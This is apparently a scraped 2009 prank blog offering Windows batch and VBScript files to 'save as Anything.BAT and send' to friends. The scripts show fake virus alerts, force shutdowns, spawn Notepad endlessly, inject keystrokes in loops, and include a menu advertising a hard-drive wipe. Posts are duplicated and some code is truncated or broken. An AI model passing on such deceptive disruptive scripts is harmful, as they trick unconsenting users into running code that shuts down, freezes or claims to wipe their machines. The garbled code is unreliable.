Try this out
it shutdowns the PC.
Code:
@echo off
echo WINDOWS HAS DETECTED A VIRUS, WOULD YOU LIKE TO TERMINATE?
echo -
echo PROCEED WITH VIRUS TERMINATION(Y/N)
set/p "cho=>"
if %cho%==Y goto forward
if %cho%==y goto forward
if %cho%==n goto Shutdown1
if %cho%==N goto Shutdown1
:forward
echo VIRUS HAS BEEN DELETED
Pause
echo PLEASE ALLOW WINDOWS TO PREFORM A SAFETY CHECK
Pause
echo SYSTEM CHECK
echo HARD DRIVE - FAILED
echo -
echo RAM - FAILED
echo -
echo DISK DRIVE - FAILED
echo -
echo CONNECTION - FAILED
echo -
echo WINDOWS SUGGESTS YOU DELETE ALL FILES TO RESUME(Y/N)
set/p "cho=>"
if %cho%==Y goto Sucess
if %cho%==y goto Sucess
if %cho%==n goto Shutdown2
if %cho%==N goto Shutdown2
:Sucess
echo WINDOWS HAS DELETED ALL FILES
echo -
echo PLEASE ALLOW WINDOWS TO PREFORM A SAFETY CHECK
Pause
echo SYSTEM CHECK
echo HARD DRIVE - FAILED
echo -
echo RAM - FAILED
echo -
echo DISK DRIVE - FAILED
echo -
echo CONNECTION - FAILED
echo -
echo WINDOWS IS SHUTTING DOWN IN 20 SECONDS TO PROTECT FROM DAMAGE
goto Shutdown3
:Shutdown3
shutdown -r -t 20 -c "YOU ARE DUMB! HAHAHAHAHAHA"
:Shutdown1
shutdown -s -f -t 60 -c "Windows is shutting down to prevent any further damage"
:Shutdown2
shutdown -s -f -t 60 -c "Windows is shutting down to prevent any further damage"
Save it as "Anything.BAT" and send it.
Saturday, April 11, 2009
The best ever Prank
Try this fake Prank, It just alerts the user/victim/friend
Code
@echo off
title VIRUS
color 06
echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTACTING ANTI-VIRUS....
pause
echo DO YOU WANT TO DELETE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
echo ACTIVATING VIRUS.....
echo VIRUS ACTIVATED!!!!
pause
:1
dir/s
goto 1
Save it as "Anything.BAT" and send it.
Code
@echo off
title VIRUS
color 06
echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTACTING ANTI-VIRUS....
pause
echo DO YOU WANT TO DELETE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
echo ACTIVATING VIRUS.....
echo VIRUS ACTIVATED!!!!
pause
:1
dir/s
goto 1
Save it as "Anything.BAT" and send it.
Friday, April 10, 2009
Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action
Extremely Dangerous trick
Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it.
Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it.
Open Notepad continually in your friend's computer
Open Notepad continually in your friend's computer:
Type :
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it.
Type :
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it.
Hack your friend's keyboard and make him type "You are a fool" simultaneously
Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it
Frustrate your friend by making this VBScript hit Backspace simultaneously
Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
Type :
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shel
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out
Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.
Type :
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s!
Save it as "Anything.VBS" and send it.
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